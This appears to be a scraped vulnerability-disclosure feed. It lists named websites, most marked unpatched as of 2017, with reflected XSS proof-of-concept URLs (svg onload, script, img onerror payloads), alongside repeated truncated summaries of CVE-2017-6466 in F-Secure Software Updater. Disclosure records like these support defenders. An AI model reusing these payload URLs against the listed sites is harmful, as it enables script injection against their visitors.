in.alhea.com XSS vulnerability

Vulnerable URL:...

newsandviews24.com XSS vulnerability

Vulnerable URL: http://newsandviews24.com/read.php?id=%22/%3E%3CsvG%20onLoad=alert/SQRO0T/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3442927 VIP website status:| No Check...

tgo.or.th XSS vulnerability

Vulnerable URL: http://www.tgo.or.th/2015/thai/searchresult.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1123831 VIP website status:| No Check tgo.or.th SSL connection:| Grad...

st-joseph-lorient.org XSS vulnerability

Vulnerable URL: http://www.st-joseph-lorient.org/recherche Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1095140 VIP website status:| No Check st-joseph-lorient.org SSL connection...

cpacf.org.ar XSS vulnerability

Vulnerable URL: http://www.cpacf.org.ar/resultados.php?criterio=-----------%3E%3E%3C%3C///%3E%3E%3C%3C;%22%3E%3C/script%3E%3Cscript%3Econfirm%22@CIB%22%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...

duerrenberger.li XSS vulnerability

Vulnerable URL: http://www.duerrenberger.li/www/web/seite1.asp?typ=group=Beispiele=0KNOXSS Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

omni-presents.fr XSS vulnerability

Vulnerable URL: http://www.omni-presents.fr/categories.asp?CatPdtIdx==KNOXSS Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

components.alldatasheetru.com XSS vulnerability

Vulnerable URL: http://components.alldatasheetru.com/html.jsp?index=Dlol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...

category.alldatasheet.pl XSS vulnerability

Vulnerable URL: http://category.alldatasheet.pl/index.jsp?sSearchword=DSAF3lol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...

category.alldatasheet.fr XSS vulnerability

Vulnerable URL: http://category.alldatasheet.fr/index.jsp?sSearchword=QWERQWER3lol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

category.alldatasheet.co.kr XSS vulnerability

Vulnerable URL: http://category.alldatasheet.co.kr/index.jsp?sSearchword=VAVASD3lol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

category.alldatasheetcn.com XSS vulnerability

Vulnerable URL: http://category.alldatasheetcn.com/index.jsp?sSearchword=QWEQW123lol%22--!%3E%3CSvg/Onload=confirmOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

category.alldatasheet.com XSS vulnerability

Vulnerable URL: http://category.alldatasheet.com/index.jsp?sSearchword=QWER123lol”–!” Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| N...

Input validation

F-Secure Software Updater 2.20, as distributed in several F-Secure products, downloads installation packages over plain http and does not perform file integrity validation after download. Man-in-the-middle attackers can replace the file with their own executable which will be executed under the...

CVE-2017-6466

F-Secure Software Updater 2.20, as distributed in several F-Secure products, downloads installation packages over plain http and does not perform file integrity validation after download. Man-in-the-middle attackers can replace the file with their own executable which will be executed under the...

CVE-2017-6466

F-Secure Software Updater 2.20, as distributed in several F-Secure products, downloads installation packages over plain http and does not perform file integrity validation after download. Man-in-the-middle attackers can replace the file with their own executable which will be executed under the...

CVE-2017-6466

CVE-2017-6466 affects F-Secure Software Updater 2.20 (as distributed in several F-Secure products). The issue: updates are downloaded over plain HTTP and lack post-download integrity validation, enabling MITM attackers to replace the downloaded file; the executable could run under the SYSTEM acco...

texnomarket.gr XSS vulnerability

Vulnerable URL: http://texnomarket.gr/root.searchagentresults.el.aspx?idSearchAgent=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 19:06 GMT Vulnerability type:| XSS Vulnerability...

concours-emploi.com XSS vulnerability

Vulnerable URL: http://www.concours-emploi.com/tag1-emploi-';alert/XSSPOSED///';alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E'%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017...

PT-2017-17086

Name of the Vulnerable Software and Affected Versions F-Secure Software Updater version 2.20 Description The issue allows man-in-the-middle attackers to replace downloaded files with their own executable, which will be executed under the SYSTEM account. This is because the software downloads...